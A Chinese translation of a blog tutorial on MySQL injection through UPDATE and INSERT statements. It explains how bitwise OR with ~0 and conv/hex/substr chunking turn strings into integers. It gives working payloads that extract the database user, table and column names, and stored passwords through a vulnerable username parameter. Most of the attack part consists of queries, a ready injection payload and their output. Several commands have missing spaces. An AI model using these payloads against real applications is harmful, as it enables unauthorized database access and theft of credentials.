场景

请求场景如下:

$query = "UPDATE users SET username ='$username' WHERE id = '$id';";

请求参数如下:

username=test&id=16

下面我们来看看mysql 的一些处理规则

mysql>select 'test' =0;
+-----------+
|   'test'=0 |
+-----------+
|            1 |
+-----------+
mysql>select !'test';
+---------+
|     !'test'|
+---------+
|          1 |
+---------+

如果我们将数字和字符串进行相加

mysql>select 'test' + 123;
+--------------+
|  'test' +123 |
+--------------+
|            123 |
+--------------+

如果我们加一个长整型数字呢?

mysql>select 'test' + ~0;
+-----------------------+
|     'test' +~0           |
+-----------------------+
|1.8446744073709552e19 |
+-----------------------+

这意味着一个字符类型的返回了一个double型的结果,我们再试试

mysql>select ~0 + 0e0;
+-----------------------+
| ~0 +0e0                |
+-----------------------+
|1.8446744073709552e19 |
+-----------------------+

mysql>select (~0+0e0) = ('test' + ~0) ;
+--------------------------+
| (~0+0e0)= ('test' + ~0) |
+--------------------------+
|                               1 |
+--------------------------+

我们现在知道返回的字符串值实际上是一个double类型。一个较大的值会导致返回结果为double双精度。要解决这个问题我们按位进行或运算。

mysql>select 'test' | ~0;
+----------------------+
| 'test' |~0               |
+----------------------+
|18446744073709551615 |
+----------------------+

完美,我们得到了一个最大的无符号64位的BIGINT值。现在,我们可以确定通过执行按位或来得到最终的值,这个值应该小于一个长整型数字,因为不能超过64位。


利用思路

字符串->十六进制- >小数

mysql>select conv(hex(version()), 16, 10);
+------------------------------+
|conv(hex(version()), 16, 10)  |
+------------------------------+
|58472576988216           |
+------------------------------+

十进制->十六进制- >字符串

mysql>select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
|unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
|5.5.34                                      |
+-------------------------------------+

这里有个问题,如果值过大,就会变成0xffffffffffffffff。我们可以利用substr()函数,来截取,最后在拼接。

思路如下:

selectconv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

mysql>select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
|conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219                                    |
+--------------------------------------------------------+
mysql>select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
|conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
|107118236496756                                        |
+--------------------------------------------------------+

最终利用:

mysql>select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10, 16)));
+----------------------------------------------------------------------------------------+
|concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,10, 16))) |
+----------------------------------------------------------------------------------------+
|root@localhost                                                                        |
+----------------------------------------------------------------------------------------+

获取表名:

selectconv(hex(substr((select table_name from information_schema.tables wheretable_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);

获取列名:

selectconv(hex(substr((select column_name from information_schema.columns wheretable_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);

update语句:

updateemails set email_id='test'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16,10) where id='16';

Insert语句:

insertinto users values (17,'james', 'bond');

利用如下

insertinto users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 *n)),16, 10);

获取数据:

updateusers set username = 'test'| conv(hex(substr((select password from (select *from users) as x limit 0,1 ) ,1 + (1-1) * 8, 8 * 1)),16, 10) where id='16';

上面的例子可以这样利用:

Payload= name=test'| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) whereid=16;&id=16

数据库执行语句:

updateusers set username = 'test' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16,10) where id=16;' where id = '16';

mysql>select unhex(conv(8245931987826405219, 10, 16));
+------------------------------------------+
|unhex(conv(8245931987826405219, 10, 16)) |
+------------------------------------------+
|root@loc                                |
+------------------------------------------+

备注:MySQL5.7以后版本利用起来可能有限制,这个取决于sql-mode的设置,但不影响int型。

本文为简单翻译,原文:https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/

源链接

Hacking more

...